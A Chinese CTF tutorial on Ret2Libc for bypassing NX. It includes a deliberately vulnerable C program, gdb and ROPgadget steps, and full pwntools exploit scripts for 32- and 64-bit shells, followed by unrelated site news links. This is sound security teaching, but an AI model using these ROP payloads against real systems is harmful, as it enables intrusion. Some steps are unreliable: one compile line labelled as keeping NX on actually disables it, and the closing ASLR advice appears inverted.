Ret2Libc攻击实战:绕过NX保护获取Shell的完整指南
1. 项目概述从“溢出”到“控制”的艺术如果你刚接触CTF PWN看到“Ret2Libc”、“NX”这些词可能有点发怵觉得这是高手才玩的东西。别怕今天我们就从一个最经典的场景聊起程序开了栈不可执行保护NX你没法直接把shellcode塞到栈上执行了怎么办Ret2Libc就是解决这个问题的“标准答案”之一。它不是什么黑魔法核心思路非常朴素既然不让我执行自己的代码那我就借用程序里或者系统里现成的代码块比如system函数来达到目的。这篇文章我会带你从零开始手把手复现一个经典的Ret2Libc攻击涵盖32位和64位两种环境并附上可以直接抄作业的完整Exp。我们的目标很明确绕过NX拿到那个梦寐以求的Shell。2. 核心原理与前置知识拆解在动手之前我们必须把几个关键概念和它们之间的关系理清楚。这就像打仗前看地图知道敌人在哪我们有什么武器。2.1 NX保护为什么不能直接执行Shellcode了NXNo-eXecute是一种内存保护技术现代操作系统和编译器默认都会开启。它的作用很简单将内存页标记为“不可执行”。通常程序的代码段.text被标记为可读、可执行数据段.data, .bss和栈stack被标记为可读、可写但不可执行。这意味着什么在传统的栈溢出攻击中攻击者将一段精心构造的机器指令Shellcode写入栈上的缓冲区然后通过覆盖函数返回地址让程序跳转到栈上去执行这些指令。NX保护开启后即使你成功让程序跳转到了栈地址CPU也会抛出一个异常如Segmentation Fault因为那片内存区域不允许执行指令。所以NX保护直接废掉了“在栈上写代码并执行”这条经典攻击路径。我们必须寻找新的出路。2.2 Ret2Libc的核心思想借刀杀人Ret2Libc全称Return-to-libc。Libc是C语言的标准库在Linux系统中几乎每一个动态链接的程序都会加载它。这个库里包含了大量强大的函数比如system、execve、open、read、write等等。Ret2Libc攻击的精髓就在于“借用”。既然不能执行自己的代码那我就利用程序中已经存在的、合法的代码片段。具体来说就是通过栈溢出控制程序的执行流让它不是返回到我们注入的Shellcode而是返回到libc库中的某个函数例如system去执行并且通过精心布局栈上的数据为这个函数准备好它期望的参数。举个例子我们的最终目标是执行system(“/bin/sh”)。那么攻击链就变成了利用栈溢出覆盖返回地址使其指向system函数的入口。在system函数地址之后我们需要在栈上布置好它的参数。对于system函数其参数是一个字符串指针指向命令”/bin/sh”。我们需要在内存中找到一个”/bin/sh”字符串的地址或者自己想办法写进去。2.3 32位与64位调用约定的关键差异这是实操中最大的坑点之一32位和64位程序在函数调用时传递参数的方式完全不同直接影响到我们Exp的构造。32位x86调用约定cdecl参数全部通过栈来传递。调用函数时参数从右向左依次压栈最后压入返回地址。函数内部通过esp偏移来访问这些参数。构造Payload时顺序是填充垃圾数据system函数地址返回地址可随意如0xdeadbeef参数地址如”/bin/sh”的地址。这里的“返回地址”是system函数执行完毕后应该返回的地址因为我们的目标是拿到shell这个地址无关紧要可以填任意值。64位x86-64调用约定System V AMD64 ABI前六个整型或指针参数通过寄存器传递顺序为rdi,rsi,rdx,rcx,r8,r9。多余的参数才通过栈传递。这意味着要调用system(“/bin/sh”)我们不仅需要跳转到system函数还需要在跳转之前将”/bin/sh”的地址放入rdi寄存器。因此我们需要在程序中寻找一些特定的代码片段称为“gadget”。最常用、也最理想的一个gadget是pop rdi; ret。这条指令序列的作用是从栈顶弹出一个值到rdi寄存器然后继续执行ret即再从栈顶弹出下一个值作为返回地址。构造Payload时顺序变为填充垃圾数据pop rdi; ret gadget地址参数地址”/bin/sh”system函数地址。执行流程溢出后首先返回到pop rdi; retgadget。此时栈顶是我们的”/bin/sh”地址pop rdi会将其存入rdi然后ret指令会将下一栈单元即system函数地址弹出作为返回地址从而跳转到system此时rdi已经准备好了正确的参数。注意理解这个差异是成功编写64位Exp的关键。很多新手照着32位的思路做64位题永远打不通根本原因就在这里。3. 实战环境搭建与目标程序分析理论说得再多不如动手调一次。我们以一个简单的、故意留有漏洞的程序为例。3.1 编译漏洞程序我们先写一个简单的C程序vuln.c#include stdio.h #include string.h #include unistd.h void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); // 明显的栈溢出漏洞 } int main() { vulnerable_function(); write(STDOUT_FILENO, Hello, World!\n, 14); return 0; }为了模拟真实CTF环境我们开启NX保护并关闭栈保护Canary和地址随机化ASLR以便于初学者理解。在实际做题时ASLR通常是开启的我们需要通过信息泄露来绕过那是Ret2Libc的进阶用法本文先聚焦于基础。编译命令# 编译32位程序关闭栈保护开启NX默认 gcc -m32 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln32 # 为32位程序关闭NX以便对比可选 # gcc -m32 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln32_no_nx # 编译64位程序 gcc -fno-stack-protector -no-pie vuln.c -o vuln64-m32: 生成32位程序。-fno-stack-protector: 关闭栈溢出保护Canary。-no-pie: 关闭位置无关可执行文件让代码段的地址固定便于我们查找函数地址。-z execstack:禁用NX保护仅用于对比实验我们主要攻击的对象是默认开启NX的vuln64。3.2 使用GDB和Pwntools进行动态分析工欲善其事必先利其器。CTF PWN离不开调试和自动化脚本。检查程序安全特性checksec vuln64你会看到类似输出确认NX是ENABLED状态。Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)计算溢出偏移量 我们需要知道写多少数据才能覆盖到返回地址。有多种方法模式字符串使用cyclic工具生成一段唯一字符串触发崩溃后查看覆盖到返回地址的值再用cyclic -l计算偏移。静态分析用GDB调试。这里演示动态方法gdb ./vuln64 (gdb) pattern create 200 # 复制生成的字符串 (gdb) run # 程序等待输入粘贴刚才的字符串 # 程序崩溃记下RIP的值例如 0x6161616161616166 (‘faaa’) (gdb) pattern offset 0x6161616161616166假设计算出偏移是152。那么我们的Payload结构就是152个垃圾字节目标地址。寻找关键地址 由于关闭了PIE和ASLRlibc的加载地址是固定的在同一个系统环境下。我们需要找到system函数地址”/bin/sh”字符串地址64位需要pop rdi; retgadget地址在gdb中寻找(gdb) p system $1 {text variable, no debug info} 0x7ffff7e1b2c0 system (gdb) find system, 9999999, “/bin/sh” # 可能会找到多个选一个可用的地址例如 0x7ffff7f7c5aa # 寻找gadget可以使用ROPgadget工具或者在gdb里配合peda等插件 (gdb) ropgadget # 如果没有可以退出gdb用命令行工具 ROPgadget --binary vuln64 | grep “pop rdi” # 找到例如0x400763 : pop rdi ; ret实操心得在实际CTF比赛中二进制文件通常是动态链接的我们无法直接得到libc函数的绝对地址。但题目往往会提供libc.so文件。这时我们通过泄露程序中某个已知函数如puts、write的真实地址减去它在提供libc中的偏移量就能计算出libc的基地址。基地址加上system和”/bin/sh”在libc中的偏移就得到了它们的真实地址。这就是“带信息泄露的Ret2Libc”是更常见的考法。本文为简化假设地址已知。4. 32位Ret2Libc Exploit 编写理解了原理拿到了地址我们就可以开始构造Payload了。假设通过调试我们得到以下信息你的地址可能不同溢出偏移140字节system地址0xf7e13660”/bin/sh”地址0xf7f5f5aa退出地址随意0xdeadbeef32位的Exp构造非常直观。我们使用pwntools这个Python库来编写攻击脚本。#!/usr/bin/env python3 from pwn import * # 设置上下文指定架构和日志级别 context(arch‘i386’, os‘linux’, log_level‘debug’) # 启动进程 p process(‘./vuln32’) # 计算偏移 offset 140 # 获取地址这里硬编码实际比赛中需要通过泄露计算 system_addr 0xf7e13660 binsh_addr 0xf7f5f5aa exit_addr 0xdeadbeef # 可随意 # 构造Payload payload flat([ b‘A’ * offset, # 填充垃圾数据到返回地址 system_addr, # 覆盖返回地址为system函数 exit_addr, # system函数的返回地址无关紧要 binsh_addr # system函数的第一个参数 ]) # 发送Payload p.send(payload) # 切换到交互模式我们就可以使用得到的shell了 p.interactive()脚本解析flat()函数将多个数据拼接成一个字符串并自动处理字节序小端序。Payload结构严格按照32位调用约定填充 - system地址 - 返回地址 - 参数。p.interactive()是将控制权交给用户如果攻击成功你将看到一个$提示符可以执行ls,cat flag等命令。5. 64位Ret2Libc Exploit 编写64位的情况复杂一些因为需要先设置寄存器。假设我们得到以下信息溢出偏移152字节pop rdi; retgadget地址0x400763system地址0x7ffff7e1b2c0”/bin/sh”地址0x7ffff7f7c5aa#!/usr/bin/env python3 from pwn import * context(arch‘amd64’, os‘linux’, log_level‘debug’) p process(‘./vuln64’) offset 152 pop_rdi_ret 0x400763 system_addr 0x7ffff7e1b2c0 binsh_addr 0x7ffff7f7c5aa # 构造Payload payload flat([ b‘A’ * offset, pop_rdi_ret, # 1. 返回到gadget binsh_addr, # 2. gadget会把这个值pop到rdi system_addr # 3. gadget的ret指令跳转到system ]) p.send(payload) p.interactive()执行流程详解程序执行到vulnerable_function的ret指令时栈顶RSP指向的位置是我们覆盖的pop_rdi_ret地址。ret指令将其弹出到RIPCPU开始执行pop rdi; ret。此时RSP指向了栈上的下一个单元即binsh_addr。pop rdi执行将binsh_addr存入RDI寄存器同时RSP下移。接着执行ret。此时RSP指向的是system_addr。ret将其弹出到RIPCPU跳转到system函数。system函数开始执行它从RDI寄存器中获取第一个参数也就是”/bin/sh”的地址于是成功执行system(“/bin/sh”)。注意事项在更复杂的情况下可能找不到直接的pop rdi; ret。你可能需要组合多个gadget比如先用pop rax; ret把值存到rax再用mov rdi, rax; ret之类的gadget来传递参数。这就是ROPReturn-Oriented Programming链的雏形。6. 常见问题与高级技巧在实际操作中你几乎一定会遇到下面这些问题。6.1 为什么我的Exp本地能通远程打不通这是最常见的问题99%的原因在于地址不对。ASLR远程服务器开启了地址空间布局随机化。你本地的libc地址是固定的但远程每次运行都不同。解决方案必须使用信息泄露。先泄露一个已知函数的地址如putsgot计算出libc基址再推导出system和”/bin/sh”的地址。Libc版本不同你本地调试用的libc版本和题目提供的或远程服务器上的不一致函数偏移量不同。解决方案使用题目提供的libc.so文件或者通过泄露多个函数地址来匹配确定远程libc版本常用工具如libc-database。栈对齐问题64位某些系统如Ubuntu 18.04的system函数在执行前会进行栈对齐检查movaps指令如果栈指针rsp不是16字节对齐会导致崩溃。解决方案在ROP链中多加一个retgadget来调整栈指针。因为ret指令相当于pop rip会让rsp8从而可能实现对齐。通常Payload会变成填充pop_rdi_retbinsh_addrret_gadgetsystem_addr。6.2 如何寻找和利用信息泄露这是Ret2Libc实战的核心。通常利用程序的输出函数如puts,write,printf。泄露思路构造第一次溢出不直接拿shell而是返回到puts(putsgot)。这样程序会打印出puts函数在内存中的真实地址。计算基址libc_base leak_puts_addr - libc.symbols[‘puts’]使用pwntools的ELF模块加载libc文件非常方便。计算目标地址system_addr libc_base libc.symbols[‘system’]binsh_addr libc_base next(libc.search(b’/bin/sh’))。二次攻击收到泄露的地址后在脚本中计算然后构造第二个Payload进行真正的Ret2Libc攻击。6.3 没有现成的/bin/sh字符串怎么办如果libc里找不到/bin/sh或者字符串不可用我们需要自己写。找可写内存在二进制文件中寻找可读可写的内存区域如.data、.bss段。使用ROP链写入通过read或gets函数将字符串/bin/sh\x00注意结尾的NULL字节写入到可写内存地址。这需要构造更复杂的ROP链依次设置rdi文件描述符0为标准输入、rsi目标缓冲区地址、rdx读取长度等参数调用read函数。指向字符串最后在调用system时将参数指向你写入的地址。6.4 工具链推荐PwntoolsPython写的CTF框架必学。它集成了本地/远程连接、打包数据、ELF解析、ROP构建等功能是写Exp的瑞士军刀。ROPgadget/ropper用于在二进制文件中搜索可用的gadget。GDB Peda/Pwndbg/GEF增强的GDB插件让调试体验更友好能直观查看栈、寄存器、内存、反汇编等信息。one_gadget直接在libc中寻找执行execve(‘/bin/sh’, NULL, NULL)的单个gadget地址有时可以绕过复杂的参数构造一击必杀。LibcSearcher/libc-database根据泄露的函数地址查找对应的libc版本。绕过NX的Ret2Libc是PWN入门的必修课它打破了“代码必须可执行”的思维定式开启了利用现有代码片段ROP的大门。从理解调用约定差异到计算偏移、寻找地址再到处理信息泄露和栈对齐每一步都是对底层原理的深入理解。我建议你在本地反复调试本文的示例把每一步的栈状态、寄存器变化都在GDB里看清楚。然后尝试关闭ASLR自己实现一次信息泄露Ret2Libc的完整攻击链。当你成功拿到远程flag的那一刻你会对程序的内存布局和函数调用有脱胎换骨的认识。这条路还有很多进阶技巧比如Stack Pivot、利用_dl_runtime_resolve等但扎实的基础是探索这一切的前提。

相关新闻

RAG系统调优实战:提升金融问答准确率的12个技巧

RAG系统调优实战:提升金融问答准确率的12个技巧

1. RAG系统调优的核心价值 在构建基于大模型的问答系统时,最令人头疼的问题莫过于:明明知识库里存着正确答案,系统却总是给出不相关或片面的回复。这种现象在金融、法律等专业领域尤为致命——一个错误的利率解释或法律条款引用,可…

2026/10/20 11:41:50 阅读更多 →
CDN 优选 IP 接口参数详解与工程最佳实践

CDN 优选 IP 接口参数详解与工程最佳实践

适用场景 CDN 优选 IP 接口适用于需要获取主流 CDN 服务商官方公网 IP 段(CIDR 列表)的运维与开发场景。典型用例包括: 反向代理与流量分流:在 Nginx、HAProxy 或自定义网关中,根据客户端请求的源 IP 是否来自 CDN 节…

2026/10/18 3:20:02 阅读更多 →
YOLOv8在智能交通违章检测中的优化与应用

YOLOv8在智能交通违章检测中的优化与应用

1. 项目概述:YOLOv8在智能交通违章检测中的应用 机动车道占用问题一直是城市交通管理的痛点。每天早高峰时段,我们总能看到机动车违停占用非机动车道,或是电动车、自行车违规驶入机动车道的情况。这不仅降低了道路通行效率,更埋下…

2026/10/19 10:01:05 阅读更多 →

最新新闻

51单片机DS18B20温度采集与NRF905无线传输实战

51单片机DS18B20温度采集与NRF905无线传输实战

简介:这是一套面向单片机爱好者、电子类专业学生与DIY玩家的温度采集与无线传输实践方案,基于51单片机搭配NRF905无线模块,解决短距离温度数据采集与无线收发的问题,适合具备一定电子技术基础、能看懂基础电路图并了解C语言设计原…

2026/10/21 3:09:09 阅读更多 →
YOLOv8/YOLO26目标检测实战:从环境搭建到模型部署完整指南

YOLOv8/YOLO26目标检测实战:从环境搭建到模型部署完整指南

作为一个前前后后用YOLO折腾过不止一个项目的人,我太清楚新手第一次接触YOLO时那种“明明照着教程一步步点,怎么到我这就疯狂报错”的无助感了。这个标题里说的“全网最稳”,其实并不是空话——它邀请你走的,是一条我踩了无数坑之…

2026/10/21 3:09:09 阅读更多 →
DeepSeek Harness 实操:从零跑通智能体框架,25 分钟搭好 Web 界面与第一个插件

DeepSeek Harness 实操:从零跑通智能体框架,25 分钟搭好 Web 界面与第一个插件

DeepSeek Harness 实操:从零跑通智能体框架,25 分钟搭好 Web 界面与第一个插件 【免费下载链接】deepseek-harness DeepSeek Harness: Everything is a Plugin. 项目地址: https://gitcode.com/gh_mirrors/de/deepseek-harness DeepSeek Harness(dsh)是 DeepSeek 开源的…

2026/10/21 3:09:09 阅读更多 →
数学建模竞赛真题解读与源码实战:从模型构建到论文输出全链路

数学建模竞赛真题解读与源码实战:从模型构建到论文输出全链路

简介:一套面向高校数学建模竞赛的完整培训材料,涵盖基础理论、建模方法、真题解析与源代码实现,适合从入门到备赛冲刺的各阶段学生。压缩包共61个文件,约2.02MB,以30个MATLAB脚本、16个Word文档和6个Excel表格为主&…

2026/10/21 3:09:09 阅读更多 →
高职院校智能体应用生态建设:OpenClaw落地实战指南

高职院校智能体应用生态建设:OpenClaw落地实战指南

1. 项目概述:为什么要研究OpenClaw在高职院校的落地先说结论:OpenClaw这个项目本身不是什么新概念,它本质上是一套开源的多智能体编排框架。我接触它是在一次校内数字化转型研讨会上,某高校信息中心的某老师提到他们正在试水智能体…

2026/10/21 3:09:09 阅读更多 →
数据获取与处理实战:从数据源选择到数据清洗的完整指南

数据获取与处理实战:从数据源选择到数据清洗的完整指南

这几年做数据相关的工作,被问得最多的一个问题是:“我该从哪儿拿数据?拿到手之后又该怎么处理?”说实话,大多数人在第一步就卡住了,要么不知道怎么稳定地拿到数据,要么千辛万苦拿到一份Excel&am…

2026/10/21 3:08:09 阅读更多 →

日新闻

统一内存+量化:锐龙AI Max PRO 400如何本地跑320B大模型

统一内存+量化:锐龙AI Max PRO 400如何本地跑320B大模型

这段时间硬件圈和AI圈都在传一个事:AMD锐龙AI Max PRO 400系列把最高192GB统一内存搬进了PC形态的产品里,按宣传口径,本地跑320B参数的大家伙不再是纸面概念。我第一反应倒不是“内存真大”,而是这话背后的含金量——它把过去只能…

2026/10/21 0:00:11 阅读更多 →
AI助手深度使用体验:对话质量、长文本处理与指令遵循如何留住用户

AI助手深度使用体验:对话质量、长文本处理与指令遵循如何留住用户

1. 从“封号重开”这个行为说起:用户到底在追求什么“封号重开”这四个字,放在任何产品语境里都带着一股决绝的味道。一个账号从零开始积累使用记录、调教偏好、沉淀工作流,背后是大量的时间和精力成本。正常情况下,没有人愿意主动…

2026/10/21 0:00:11 阅读更多 →
ROS中YOLOv3工程落地:通信同步、坐标变换与性能调优

ROS中YOLOv3工程落地:通信同步、坐标变换与性能调优

1. 为什么在ROS里硬刚YOLOv3不是“炫技”,而是工程落地的必经之路我第一次在某高校机器人实验室看到那台搭载Jetson TX2的移动底盘原地打转、反复识别错垃圾桶时,就意识到:单纯跑通darknet_ros demo和真正让YOLOv3在ROS里“干活”&#xff0c…

2026/10/21 0:00:11 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/20 10:02:13 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/20 20:43:59 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/20 2:50:50 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 10:02:08 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:17 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:45 阅读更多 →